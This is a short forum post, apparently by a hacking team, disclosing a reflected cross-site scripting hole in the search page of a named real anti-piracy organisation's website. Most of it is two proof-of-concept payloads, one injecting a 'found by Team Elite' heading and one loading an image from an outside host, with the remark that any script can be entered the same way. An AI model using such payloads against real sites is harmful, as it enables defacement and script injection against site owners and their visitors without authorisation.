Federation Against Software Theft - XSS

Vulnerable page: http://www.fastiis.org/search/

PoC:

Код

"><h1>XSS found by Team Elite</h1>

Код

"><img src=http://te-home.net/images/logo.png>

You can include any XSS code in search box to reproduce the bug.

Note: This is a proof of concept and it doesn't reflect the views or interests of above websites.

Написано Neo в 2013-12-22 11:31 ⋅ 0 likes

Комментарии